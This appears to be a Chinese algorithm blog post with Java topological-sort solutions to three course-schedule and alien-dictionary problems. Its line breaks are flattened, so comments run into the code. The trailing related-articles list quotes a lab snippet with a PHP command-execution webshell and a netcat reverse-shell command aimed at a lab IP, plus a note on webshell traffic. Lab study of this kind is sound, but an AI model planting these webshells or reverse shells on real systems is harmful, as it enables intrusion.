算法day32
第一题
207. 课程表
步骤一:
通过下图的课程数组,首先画出DAG图(有向无环图)
步骤二:
其次我们按照DAG图,来构建该图的拓扑排序,等有效的点都按照规则排完序后,观察是否有剩下的点的入度不为0;
步骤三:
使用数组的结构来存放每一个点的入度;
我们通过创建队列来存储拓扑排序,首先遍历所有的点,将入度为0的点入队列,这时候进行这个点的bfs,即扫描其他的点。如果被扫描的点和该点有连接,则被扫描的点的入度减去一,同时此时被扫描的点的如度为零的话,就将这个点添加到队列中,进行下一个点的扫描;
重复上述步骤,直到完成所有队列中的点的bfs,此时判断是否存在一个点的入度不为0来返回数值;
建图的概念:
方法一:hash表;如下图所示,使用邻接表来存储图的构造,我们采用hash表来完成这一邻接表的结构;下图第一行表示,0节点后面并列连着1,2,3;
所以edges表示两个节点之间的连接; key里面存放的是每一个点,valueb表示该节点所连接的点的集合;
方法二:
链表嵌套链表;
edges.get(0),表示0号节点;
edges.get(0).get(3),表示0号节点和3号节点之间的连接;
至此,代码如下:
class Solution {public boolean canFinish(int n, int[][] p) {//1\准备工作int[] in = new int[n];//每一个顶点的入度Map<Integer,List<Integer>> edges = new HashMap<>();//链接表存图//2\建图for(int i = 0;i < p.length;i++){int a = p[i][0],b = p[i][1];//b->aif(!edges.containsKey(b)){edges.put(b,new ArrayList<>());}edges.get(b).add(a);in[a]++;}//3、拓扑排序Queue<Integer> q = new LinkedList<>();//3.1 首先把度为0的点假入到队列中for(int i = 0;i < n;i++){if(in[i] == 0) q.add(i);}//3.2 bfswhile(!q.isEmpty()){int t = q.poll();for(int a : edges.getOrDefault(t,new ArrayList<>())){in[a] --;if(in[a] == 0) q.add(a);}}//4\判断是都有环for(int x : in){if(x != 0) return false;}return true;} }
代码详解:
第二题
210. 课程表 II
题解如上题故事,这次我们采用链表嵌套链表的方式来创建图,即完成点与点之间的连接,至此,代码如下:
class Solution {public int[] findOrder(int n, int[][] p) {//1、准备工作List<List<Integer>> edges = new ArrayList<>();for(int i = 0;i < n; i++){edges.add(new ArrayList<>());}int[] in = new int[n];//2、建图for(int i = 0; i<p.length;i++){int a = p[i][0], b = p[i][1];//b->aedges.get(b).add(a);in[a]++;}//3、拓扑排序Queue<Integer> q = new LinkedList<>();for(int i = 0; i<n;i++){if(in[i] == 0) q.add(i);}int[] ret = new int[n];int idex = 0;while(!q.isEmpty()){int t = q.poll();ret[idex++] = t;for(int a : edges.get(t)){in[a]--;if(in[a] == 0) q.add(a);}}//4、判断if(idex == n) return ret;else return new int[0];} }
第三题
LCR 114. 火星词典
至此,代码如下:
class Solution {Map<Character,Set<Character>> edges = new HashMap<>();//邻接表Map<Character,Integer> in = new HashMap<>();//统计入度hash表boolean check;//主要是防止边界即一个为空一个不为空public String alienOrder(String[] words) {//1\初始化入度信息(哈希表)+建图for(String s :words){for(int i = 0; i< s.length();i++){char ch = s.charAt(i);in.put(ch,0);}}int n = words.length;for(int i = 0;i < n;i++){for(int j = i+1;j < n;j++){add(words[i] , words[j]);if(check == true) return "";}}//2、拓扑排序Queue<Character> q = new LinkedList<>();for(char ch : in.keySet()){if(in.get(ch) == 0) q.add(ch);}StringBuffer ret = new StringBuffer();while(!q.isEmpty()){char t = q.poll();ret.append(t);if(!edges.containsKey(t)) continue;for(char ch : edges.get(t)){in.put(ch,in.get(ch) - 1);if(in.get(ch) == 0) q.add(ch);}}//3、判断for(char ch : in.keySet()){if(in.get(ch) != 0) return "";}return ret.toString(); }public void add(String s1,String s2){int n = Math.min(s1.length(),s2.length());int i = 0;for( ; i < n; i++){char c1 = s1.charAt(i);char c2 = s2.charAt(i);if(c1 != c2){//c1 -> c2if(!edges.containsKey(c1)){edges.put(c1,new HashSet<>());}if(!edges.get(c1).contains(c2)){edges.get(c1).add(c2);in.put(c2,in.get(c2) +1);}break;}}if(i == s2.length() && i < s1.length()) check = true;} }
ps:本次的内容就到这里结束了,如果对你有所帮助的话,就请一键三连哦!!!
相关文章:

算法day32
第一题 207. 课程表 步骤一: 通过下图的课程数组,首先画出DAG图(有向无环图) 步骤二: 其次我们按照DAG图,来构建该图的拓扑排序,等有效的点都按照规则排完序后,观察是否有剩下的点的入度不为0&…...

【QT】信号与槽
目录 概述 Q_OBJECT 自定义信号 自定义槽 带参数的信号和槽 信号与槽断开 定义槽函数时,使用lambda表达式 概述 所谓的信号槽,要解决的问题,就是响应用户的操作,这是QT与其他GUI开发框架比较不同的地方。其他的GUI开发框…...

【Java】解决Java报错:IllegalArgumentException
文章目录 引言1. 错误详解2. 常见的出错场景2.1 非法的参数值2.2 空值或 null 参数2.3 非法的数组索引 3. 解决方案3.1 参数验证3.2 使用自定义异常3.3 使用Java标准库中的 Objects 类 4. 预防措施4.1 编写防御性代码4.2 使用注解和检查工具4.3 单元测试 结语 引言 在Java编程…...

完美的移动端 UI 风格让客户无可挑剔
完美的移动端 UI 风格让客户无可挑剔...
【React】在 React 组件中,怎么使用useContext
在React中,useContext 是一个Hook,它允许你无需显式地通过组件树的每一层来传递 props,就能将值深入到组件树的任何位置。要使用 useContext,你需要先创建一个 Context 对象,然后使用这个对象提供的 Provider 组件来包裹你的应用中的一部分。然后,任何在这个 Provider 下…...

【数据结构】栈的应用
目录 0 引言 1 栈在括号匹配中的应用 2 栈在表达式求值中的应用 2.1 算数表达式 2.2 中缀表达式转后缀表达式 2.3 后缀表达式求值 3 栈在递归中的应用 3.1 栈在函数调用中的作用 3.2 栈在函数调用中的工作原理 4 总结 0 引言 栈(Stack)是一…...

Opencv基本操作
Opencv基本操作 导入并使用opencv进行图像与视频的基本处理 opencv读取的格式是BGR import cv2 #opencv读取的格式是BGR import numpy import matplotlib.pyplot as plt %matplotlib inline图像读取 通过cv2.imread()来加载指定位置的图像信息。 img cv2.imread(./res/ca…...

2779. 数组的最大美丽值
简单翻译一下题目意思: 对于每个 nums[i] 都可以被替换成 [nums[i]-k, nums[i]k] 区间中的任何数,区间左右是闭的。在每个数字可以替换的前提下,返回数组中最多的重复数字的数量。 第一想法是用一个哈希表,Key 是可以被替换的数…...
数据库修复实例(航线修复)
修复目标 修复回音群岛 (Echo Isles) 到 赞达拉港 (Port of Zandalar) 的航线 SET TRANSPORT_GUID : 32; SET TRANSPORT_ENTRY : 272677; SET CGUID : 850000;-- Adjust transports DELETE FROM transports WHERE guid TRANSPORT_GUID; INSERT INTO transports (guid, entry…...

视频网站下载利器yt-dlp参数详解
yt-dlp 是一个强大的命令行工具,用来下载 YouTube 和其他网站上的视频和音频。它拥有丰富的参数,可以定制下载行为,满足各种需求。本文将详细介绍 yt-dlp 的参数使用。 一、基本参数 -f, –format FORMAT: 指定下载格式,可以用视…...

可解析PHP的反弹shell方法
这里拿vulnhub-DC-8靶场反弹shell,详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar,POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…...

AMSR-MODIS 边界层水汽 L3 每日 1 度 x 1 度 V1、V2 版本数据集
AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V1 (AMDBLWV) at GES DISC AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V2 (AMDBLWV) at GES DISC 简介 该数据集可估算均匀云层下的海洋边界层水汽。AMSR-E 和 AMSR-2 的微波…...

Oracle备份失败处理,看这一篇就够了!
作者:IT邦德 中国DBA联盟(ACDU)成员,10余年DBA工作经验, Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主,全网粉丝10万 擅长主流Oracle、MySQL、PG、高斯及Greenplum备份恢复, 安装迁移,性能优化、故障…...

后端中缓存的作用以及基于Spring框架演示实现缓存
缓存的作用及演示 现在我们使用的程序都是通过去数据库里拿数据然后展示的 长期对数据库进行数据访问 这样数据库的压力会越来越大 数据库扛不住了 创建了一个新的区域 程序访问去缓存 缓存区数据库 缓存里放数据 有效降低数据访问的压力 我们首先进行一个演示 为了演示…...

Python:基础爬虫
Python爬虫学习(网络爬虫(又称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则,自动地抓取万维网信息的程序或者脚本。另外一些不常使用的名字…...

机器人运动学笔记
一、建模 参考资料:https://zhuanlan.zhihu.com/p/137960186 1、三维模型和连杆、关节定义 2、设置z轴 SDH和MDH会不一样,主要的区别在于SDH中坐标系在连杆末端,MDH中坐标系在连杆首端。虽然这里只是给出z轴,但是由于后面原点位…...

webshell三巨头 综合分析(蚁剑,冰蝎,哥斯拉)
考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php" POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常bas…...

stm32MP135裸机编程:启动流程分析
0 参考资料 轻松使用STM32MP13x - 如MCU般在cortex A核上裸跑应用程序.pdf STM32MP135AD数据手册.pdf1 stm32MP135裸机启动流程分析 1.1 启动方式 stm32MP135支持8种启动方式: 注: UART和USB启动并不是指通过UART/USB加载程序,而是通过UA…...

在Pycharm使用Github Copilot
文章目录 1.GitHub Copilot 是什么2.注册GitHub Copilot3.官方使用文档4.安装 GitHub Copilot插件5.在Pycharm中使用6.相关功能键7.启用或禁用 GitHub Copilot 1.GitHub Copilot 是什么 GitHub Copilot 是一款 AI 编码助手,可帮助你更快、更省力地编写代码ÿ…...
Docker镜像构建:Ubuntu18.04+python3.10
1、编写 Dockerfile # 使用Ubuntu 18.04作为基础镜像 FROM ubuntu:18.04RUN apt-get update && apt-get install -y \build-essential \curl \zlib1g-dev \libssl-dev \&& rm -rf /var/lib/apt/lists/*ENV PYTHON_VERSION3.10.8RUN curl -O https://www.pytho…...
浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)
✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义(Task Definition&…...

19c补丁后oracle属主变化,导致不能识别磁盘组
补丁后服务器重启,数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后,存在与用户组权限相关的问题。具体表现为,Oracle 实例的运行用户(oracle)和集…...
<6>-MySQL表的增删查改
目录 一,create(创建表) 二,retrieve(查询表) 1,select列 2,where条件 三,update(更新表) 四,delete(删除表…...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
C++八股 —— 单例模式
文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全(Thread Safety) 线程安全是指在多线程环境下,某个函数、类或代码片段能够被多个线程同时调用时,仍能保证数据的一致性和逻辑的正确性…...

RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill
视觉语言模型(Vision-Language Models, VLMs),为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展,机器人仍难以胜任复杂的长时程任务(如家具装配),主要受限于人…...

淘宝扭蛋机小程序系统开发:打造互动性强的购物平台
淘宝扭蛋机小程序系统的开发,旨在打造一个互动性强的购物平台,让用户在购物的同时,能够享受到更多的乐趣和惊喜。 淘宝扭蛋机小程序系统拥有丰富的互动功能。用户可以通过虚拟摇杆操作扭蛋机,实现旋转、抽拉等动作,增…...

Proxmox Mail Gateway安装指南:从零开始配置高效邮件过滤系统
💝💝💝欢迎莅临我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:「storms…...

GraphQL 实战篇:Apollo Client 配置与缓存
GraphQL 实战篇:Apollo Client 配置与缓存 上一篇:GraphQL 入门篇:基础查询语法 依旧和上一篇的笔记一样,主实操,没啥过多的细节讲解,代码具体在: https://github.com/GoldenaArcher/graphql…...
WEB3全栈开发——面试专业技能点P7前端与链上集成
一、Next.js技术栈 ✅ 概念介绍 Next.js 是一个基于 React 的 服务端渲染(SSR)与静态网站生成(SSG) 框架,由 Vercel 开发。它简化了构建生产级 React 应用的过程,并内置了很多特性: ✅ 文件系…...